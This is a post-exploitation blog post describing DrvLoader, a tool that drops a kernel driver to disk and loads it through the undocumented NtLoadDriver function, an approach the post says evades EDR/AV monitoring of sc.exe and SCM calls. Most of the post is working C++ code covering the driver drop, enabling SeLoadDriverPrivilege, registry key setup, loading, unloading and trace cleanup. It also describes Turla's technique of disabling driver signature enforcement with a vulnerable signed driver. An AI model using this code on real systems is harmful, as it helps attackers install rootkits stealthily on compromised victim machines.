Post Exploitation: Loading Kernel Drivers With NtLoadDriver

This post focused on loading signed Windows kernel drivers onto the system. During the post-exploitation phase of an offensive operation, actors may decide that loading a rootkit onto the system to enhance their capabilities is the correct approach, in order to do so the actor must have the driver loaded into the kernel. This process is typically done through the Windows Service Control Manager (SCM), the SCM maintains installed services and allows for a user to add, remove, and modify services. Adding a rootkit onto the system can be done through the sc.exe utility on Windows which is an interface with the SCM, but using a utility like this will alert EDR/AV systems as they will capture CMD commands being executed and suspicious instances of new services being created (MITRE T1543.003). An alternative to this is to directly interface with the Windows API using functions such as OpenSCManagerA and CreateServiceA, but like using sc.exe, these function calls are monitored by EDR/AV systems.

An alternative method for loading drivers (or potentially a rootkit) onto the system is to directly call the undocumented Windows NT function NtLoadDriver, this function can be used to load a signed driver onto the system. NtLoadDriver is exported by Ntdll.dll but it’s not directly documented by Microsoft.

Regardless of your driver loading technique, the biggest hurdle is still going to be KMCS/DSE which requires that new kernel code introduced into the system needs to be digitally signed by Microsoft. Since Vista and on 64-bit versions of Windows, attempting to load an unsigned driver will cause an error to occur. This prompted researchers and bad actors to develop bypasses for KMCS.

Key Points

  • NtLoadDriver is an undocumented function that allows you to load signed kernel drivers onto the system
  • Avoiding the sc.exe utility and SCM API functions by using the undocumented NtLoadDriver function allows you to act more steathfullly on a system
  • KMCS/DSE require drivers and new kernel code to be digitally signed in order to be loaded
  • There are multiple methods for either disabling or bypassing the signing requirement

Adversarial Usage

Adversaries commonly load Windows kernel drivers onto an infected system during their post-exploitation phase, have malicious code running in a victims system allows attackers to escalate their privileges, manipulate kernel memory, load additional malware such as bootkits and more. With Microsoft’s introduction of KMCS with Windows Vista new code introduced into the system (kernel drivers for example) are required to be digitally signed. Actors and researchers have put significant effort into developing bypasses for KMCS & DSE.

Turla Group

Turla Group found a technique for disabling DSE on the system by flipping the CI.DLL!g_CiOptions bit on the system, the value of this flag determined whether or not DSE was enabled (flipping it to a 0 set DSE’s policy to “no integrity checks”, disabling it allowed Turla to look unsigned kernel drivers onto the system. In order to disable g_CiOptions Turla Turla loaded a signed but vulnerable driver from Virtualbox (VBoxDrv.sys v1.6.2) into the kernel and then exploited it

Another common technique (and a technique that is very popular in the video-game cheating community) is to use a signed but vulnerable driver to manually map your rootkit/unsigned kernel driver into memory. But once again, you need to first load the signed driver.

DrvLoader Overview

DrvLoader is a tool that can aid in the post-exploitation process of an offensive operation. It drops a kernel driver to disk from an embedded resource and then loads it into the kernel with the undocumented Windows NT function NtLoadDriver. There are a few requirements that need to be met prior to making a call to the NtLoadDriver function.

image

While the function is “undocumented”, security researchers have reverse engineer and supplies the required documentation for usage of the function. Information about the function can be found on the Undocumented NT Functions wiki which provides an overview of how the function works.

image

The function only requires a single parameter that is defined as “DriverServiceName”, the parameter needs to be a unicode string of the Registry location for that driver to be loaded.

Under the hood NtLoadDriver simply is a wrapper for IopLoadDriverImage, which is another undocumented function from ntoskrnl. Daxx Rynd wrote a great research piece about the interworkings of this function. IopLoadDriverImage is a private routine that includes various system routines including IopLoadDriver which includes MmLoadSystemImageEx. This routine is responsible for actually creating the sections for the specified driver.

image

Dropping the Driver to Disk

Prior to loading the driver, getting a driver onto a target system is the first requirement, this can easily be accomplished by dropping the driver to disk from an embedded resource within the payload. DrvLoader accomplishes this by making calls to functions such as FindResource and LoadResource. When compiling DrvLoader, adding a driver as a resource will embedded it within the binary file. On execution DrvLoader locates that binary resource, obtains a pointer to it in memory and then creates and writes the file to disk within the PUBLIC users home directory.

image

  1. Make a function call to FindResource to locate the location of the embedded resource based on the defined type and name defined when importing it
  2. Retrieve a handle to the first byte of the resource in memory with LoadResource, this handle is later used to access the resource in memory
  3. Obtain the size of the resource by calling SizeOfResource, this allows us to determine how much data we are writing to disk when the resource is dropped to disk.
  4. Get a pointer to the resource in memory with LockResource
  5. Create an empty file on disk for the resource by calling CreateFile, DrvLoader specifies C:\Users\Public\<file> as the location to drop the resource to disk.
  6. Using a handle from the prior CreateFile function call, use WriteFile to write the contents of the resource into the file from memory using the pointer to it that was obtained from LockResource.
void dropDriverResourceToDisk()
{
	BOOL status = FALSE;

	HRSRC findDriver = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
	if (findDriver)
	{
		HGLOBAL loadDriver = LoadResource(NULL, findDriver);
		if (loadDriver)
		{
			DWORD sizeDriver = SizeofResource(NULL, findDriver);
			if (sizeDriver)
			{
				LPVOID lockResource = LockResource(loadDriver);
				if (lockResource)
				{
					HANDLE createDriver = CreateFile(L"C:\\Users\\Public\\lbdrv.sys", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
					if (createDriver)
					{
						DWORD dwBytesWritten = 0;
						BOOL writeDriver = WriteFile(createDriver, lockResource, sizeDriver, &dwBytesWritten, NULL);
						if (writeDriver)
						{
							printf("[+] Successfully wrote the driver to disk\n");
						}
					}
					CloseHandle(createDriver);
					FreeResource(findDriver);
				}
			}
		}
	}
}

Obtaining the Required Privileges

Before being able to load the kernel driver onto the system the process that loads a driver requires a few specific process access token privileges. First, the process should be running as an Administrator, DrvLoader checks this by querying the current processes process token with a function call to OpenProcessToken with TOKEN_QUERY set as the desired access, using the handle returned by this call, another call to GetTokenInformation is called with a pointer to the TOKEN_ELEVATION structure passed to it, checking the structures TokenIsElevated member allows DrvLoader to determine if the running process is running under the context of an Administrator or not.

Next, in order to load a kernel driver, processes require the SeLoadDriverPrivilege privilege, even as an Administrator, this privilege is disabled by default. DrvLoader enables this privilege by making a call to LookupPrivilegeValue to add the privilege to the LUID structure, and then a subsequent call to AdjustTokenPrivileges to add the requested privilege to the current processes access token.

image

void enableSeLoadDriverPrivilege()
{
	LUID luid;
	HANDLE currentProc = OpenProcess(PROCESS_ALL_ACCESS, false, GetCurrentProcessId());
	if (currentProc)
	{
		HANDLE TokenHandle(NULL);
		BOOL hProcessToken = OpenProcessToken(currentProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle);
		if (hProcessToken)
		{
			BOOL checkToken = LookupPrivilegeValue(NULL, L"SeLoadDriverPrivilege", &luid);

			if (!checkToken)
			{
				printf("[+] Current process token already includes SeLoadDriverPrivilege\n");
			}
			else
			{
				TOKEN_PRIVILEGES tokenPrivs;

				tokenPrivs.PrivilegeCount = 1;
				tokenPrivs.Privileges[0].Luid = luid;
				tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

				BOOL adjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tokenPrivs, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL);

				if (adjustToken != 0)
				{
					printf("[+] Added SeLoadDriverPrivilege to the current process token\n");
				}
			}
			CloseHandle(TokenHandle);
		}
	}
	CloseHandle(currentProc);
}
  1. Call OpenProcess to obtain a handle to the current process with the required access by PID with GetCurrentProcessId
  2. Open a handle to the current processes access token with OpenProcessToken and include the TOKEN_ADJUST_PRIVILEGES for the returned handle
  3. Define the requested privilege (SeLoadDriverPrivilege) with a call to LookupPrivilegeValue, this includes a pointer to the LUID structure which is used to set the wanted privileges
  4. Define the TOKEN_PRIVILEGES structure and set it’s members, set PrivilegeCount to 1 since only one privilege is being requested, set the Luid member to the previously defined LUID structure, and the Attributes to SE_PRIVILEGE_ENABLED to enable the requested privilege.
  5. Call AdjustTokenPrivileges to adjust the current processes access token using the previously defined information, this takes the handle opened with OpenProcessToken, and a pointer to the TOKEN_PRIVILEGES structure definition

image

After setting the needed privilege, issuing a whoami /privs command shows that the SeLoadDriverPrivilege privilege is now enabled for the current process. Now the process has the ability to load kernel drivers onto the system.

Creating the Required Registry Keys

As defined in the “documentation” for NtLoadDriver, the function takes a single parameter that specifies the name and path of the Registry subkey responsible for identifying the driver to load. The path must begin with the CurrentControlSet\Services Registry key (\\registry\\machine\\SYSTEM\\CurrentControlSet\\Services\\), this Registry key is used for defining services that are loaded and running on the system. Each service can have an associated value in this Registry key to represent. When creating a subkey for this Registry key there are two required values that need to be set. First ImagePath needs to include a path to the driver that we want to load. And Type needs to have it’s value set to one. In addition to these “required” values, we are also going to set the ErrorControl value to 1 and the Start value to 1.

Creating the necessary subkey and values can be done through the Reg* API functions, we can use RegCreateKeyExW to create the initial subkey value, and then four subsequent calls to RegSetValueExW to set the different needed values.

  1. The initial Registry subkey can be creating with a function call to RegCreateKeyExW, this function will take HKEY_LOCAL_MACHINE as a predefined key along with the full path of the subkey we are setting which in this case is the path mentioned earlier, but with a subkey value appended to the end, the subkey will have multiple value set. Calling this function will also return a HANDLE to the created key. We will use this handle later when setting the various required key values.
  2. Now that the initial subkey was created to represent the driver that’s going to be loaded, we can call RegSetValueEx to start setting the required values. First setting ImagePath with the location of the dropped driver is set. It must be in the proper unicode format in order to work.
  3. Now setting Type indicates that the service or driver is a Kernel-mode driver, this could also technically be set to 2, 4, 10, or 20 to indicate different types of services and drivers that can be loaded.
  4. Setting ErrorControl to 1 indicates that if the driver fails to start, ignore the problem and display no errors.
  5. Setting Start to 3 indicates that the provided service need to be manually started by the user and it does not start automatically
void createRegKey()
{
	LPSECURITY_ATTRIBUTES lpSecurityAttributes = NULL;
	HKEY phkResult;
	DWORD lpdwDisposition;
	WCHAR regPath[MAX_PATH] = L"System\\CurrentControlSet\\Services\\lbdrv";

	LSTATUS createKey = RegCreateKeyExW(HKEY_LOCAL_MACHINE, regPath, 0, NULL, 0, KEY_ALL_ACCESS, lpSecurityAttributes, &phkResult, &lpdwDisposition);
	if (createKey == ERROR_SUCCESS)
	{
		printf("[+] Registry key was created up for calling NtLoadDriver\n");

		WCHAR driverPath[MAX_PATH] = { 0 };
		_snwprintf_s(driverPath, MAX_PATH, _TRUNCATE, L"%ws%ws", L"\\??\\", L"C:\\Users\\Public\\lbdrv.sys");

		SIZE_T ImagePathSize = (DWORD)(sizeof(wchar_t) * (wcslen(driverPath) + 1));
		LSTATUS setKeyImagePath = RegSetValueEx(phkResult, L"ImagePath", 0, REG_EXPAND_SZ, (const BYTE*)driverPath, ImagePathSize);

		if (setKeyImagePath == ERROR_SUCCESS)
		{
			printf("[+] Set the [ImagePath] value of the Registry key to the path of the driver\n");
		}

		DWORD lpData1Type = 1;
		LSTATUS setKeyType = RegSetValueExW(phkResult, L"Type", 0, REG_DWORD, (const BYTE*)&lpData1Type, sizeof(DWORD));
		if (setKeyType == ERROR_SUCCESS)
		{
			printf("[+] Set the [Type] value of the Registry key to 1\n");
		}

		DWORD lpData2ErrorControl = 1;
		LSTATUS setKeyTypeErrorControl = RegSetValueExW(phkResult, L"ErrorControl", 0, REG_DWORD, (const BYTE*)&lpData2ErrorControl, sizeof(DWORD));
		if (setKeyType == ERROR_SUCCESS)
		{
			printf("[+] Set the [ErrorControl] value of the Registry key to 1\n");
		}

		DWORD lpData3Start = 3;
		LSTATUS setKeyStart = RegSetValueExW(phkResult, L"Start", 0, REG_DWORD, (const BYTE*)&lpData3Start, sizeof(DWORD));
		if (setKeyType == ERROR_SUCCESS)
		{
			printf("[+] Set the [Start] value of the Registry key to 1\n");
		}
	}
	RegCloseKey(phkResult);
}

image

Loading the Driver With /LOAD

Now that the current process contains the required access token privileges, and the necessary Registry keys have been created, we can call DrvLoader to initiate the loading of the driver. Calling NtLoadDriver directly won’t be possible, so instead calling GetModuleHandle to get a handle to ntdll.dll and then calling GetProcAddress to get the address of NtLoadDriver directly is the way to go. After dynamically resolving NtLoadDriver we can set up the Registry path and subkey that was previously created and set.

In order to pass this path to NtLoadDriver first intilizing it as a unicode string need to be done, this can be done by dynamically resolving the address of RtlInitUnicodeString and passing it the string along with a UNICODE_STRING type variable. Once the path has been set, passing the unicode variable that contains the Registry path and subkey to NtLoadDriver will cause the previously dropped driver on disk to be loaded directly into the Windows kernel and started.

void loadDriver()
{
	NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(pNtdll, "NtLoadDriver");

	UNICODE_STRING DriverServiceName = { 0 };
	WCHAR regNamePath[MAX_PATH] = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\lbdrv";
	RtlInitUnicodeString(&DriverServiceName, regNamePath);

	NTSTATUS loadDrvStatus = NtLoadDriver(&DriverServiceName);

	if (loadDrvStatus == ERROR_SUCCESS)
	{
		printf("[+] Sucessfully loaded the driver into the kernel via NtLoadDriver\n");
	}
	if (loadDrvStatus == STATUS_IMAGE_ALREADY_LOADED)
	{
		printf("[+] Driver is already loaded - STATUS_IMAGE_ALREADY_LOADED\n");
	}
	CloseHandle(pNtdll);
}

image

Unloading and Performing Cleanup With /UNLOAD

We can unload the driver when we are finished with the target system by calling the cousin function to NtLoadDriver, NtUnloadDriver. Calling this function is done by resolving the function address and then calling it while passing the location in the Registry that we set earlier. Also it’s good practice to perform some cleanup, so this function should delete the dropped files on disk and delete the created Registry key values.

void unloadDriver()
{
	enableSeLoadDriverPrivilege();
	NT_UNLOAD_DRIVER NtUnloadDriver = (NT_UNLOAD_DRIVER)GetProcAddress(pNtdll, "NtUnloadDriver");
	UNICODE_STRING DriverServiceName = { 0 };

	WCHAR regNamePath[MAX_PATH] = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\lbdrv";
	RtlInitUnicodeString(&DriverServiceName, regNamePath);

	NTSTATUS unloadDrvStatus = NtUnloadDriver(&DriverServiceName);
	if (unloadDrvStatus == ERROR_SUCCESS)
	{
		printf("\n[+] Sucessfully unloaded the driver from the kernel\n");

		LPCWSTR delRegNamePath = L"System\\CurrentControlSet\\Services\\lbdrv";
		LSTATUS delKey = SHDeleteKeyW(HKEY_LOCAL_MACHINE, delRegNamePath);
		if (delKey == ERROR_SUCCESS)
		{
			BOOL delFile = DeleteFile(L"C:\\Users\\Public\\lbdrv.sys");
			if (delFile != 0)
			{
				printf("[+] Performed cleanup, removed keys and files from disk\n");
			}
		}
	}
}

image

Alternatively Loading a Driver With the SCM

This technique is very well know so this post won’t focus on the details too much. When you load a driver, normally people make use of the sc.exe command or publically available tools such as OsrLoader. This tools make API calls to the Windows Service Control Manager (SCM) to load new drivers as services. We can directly interact with the SCM via the API functions OpenSCManager, CreateServiceA, StartService, and CloseServiceHandle, to perform this action in a more “manual” way.

void loadDriverSCM()
{
	dropDriverResourceToDisk();

	LPCSTR lpBinaryPathName = "C:\\Users\\Public\\lbdrv.sys";
	SC_HANDLE hService = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (hService != 0)
	{
		LPCSTR lpServiceName = "lbdrvUpdate";
		SC_HANDLE createService = CreateServiceA(hService, lpServiceName, lpServiceName,
			SERVICE_ALL_ACCESS,
			SERVICE_KERNEL_DRIVER,
			SERVICE_DEMAND_START,
			SERVICE_ERROR_IGNORE,
			lpBinaryPathName,
			NULL, NULL, NULL, NULL, NULL);

		if (createService)
		{
			BOOL startService = StartService(createService, 0, NULL);
			if (startService)
			{
				printf("[+] Sucessfully created a new service for the driver\n");
			}
		}
		CloseServiceHandle(createService);
	}
	CloseServiceHandle(hService);
	DeleteFileA(lpBinaryPathName);
}

To unload the driver from the system, you simply need to call ControlService with the SERVICE_CONTROL_STOP control code and then call DeleteService with a handle obtained from OpenServiceA to the target service.

void unloadDriverSCM()
{
	SC_HANDLE openSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (openSCM != NULL)
	{
		LPCSTR lpServiceName = "lbdrvUpdate";
		SC_HANDLE openService = OpenServiceA(openSCM, lpServiceName, SC_MANAGER_ALL_ACCESS);
		if (openService != NULL)
		{
			SERVICE_STATUS sstatus;
			BOOL stopService = ControlService(openService, SERVICE_CONTROL_STOP, &sstatus);
			if (stopService != 0)
			{
				BOOL delService = DeleteService(openService);
				if (delService != 0)
				{
					printf("[+] Sucessfully deleted the driver service\n");
				}
			}
		}
		CloseServiceHandle(openService);
	}
	CloseServiceHandle(openSCM);
}

Conclusion

Whether you are an APT group, cybercriminal, security researcher, or other. At some point during your operation you will want to load a driver or rootkit onto a compromised system, using the SCM or calling the SCM related API functions can be noisy and may lead to detection by the hosts AV or EDR detection systems, alternatively you can call the undocumented NT function NtLoadDriver which can be used to directly load a kernel driver into the system. Prior to calling NtLoadDriver a few things need to be set up, but after obtaining the required access token privileges, creating the Required Registry subkeys and value, and resolving NtLoadDriver directly from Ntdll.dll, you can load a driver onto the system at will.

The exact technique discussed in this post has been used many times in the past by cybercriminals and APT groups to load rootkits onto a compromise victim system by first dropping and loading a signed but vulnerable legitimate driver, and then using that driver to load their rootkit through a non-convential method (bypassing or disabling DSE and then loading it using NtLoadDriver/SCM). The first hurdle is always loading the initial driver while bypassing detection, using DrvLoader provides an easy solution to that problem.

References

  • Tomasz Nowak. “NTAPI Undocumented Functions - NtLoadDriver.” Https://Undocumented.Ntinternals.Net, undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FAPC%2FNtTestAlert.html.
  • Savill, John. “What Are the ErrorControl, Start and Type Values under the Services Subkeys?” IT Pro, 24 Sept. 2018, www.itprotoday.com/compute-engines/what-are-errorcontrol-start-and-type-values-under-services-subkeys.
  • Lastline. “Dissecting Turla Rootkit Malware Using Dynamic Analysis.” Lastline, 8 Apr. 2015, www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis.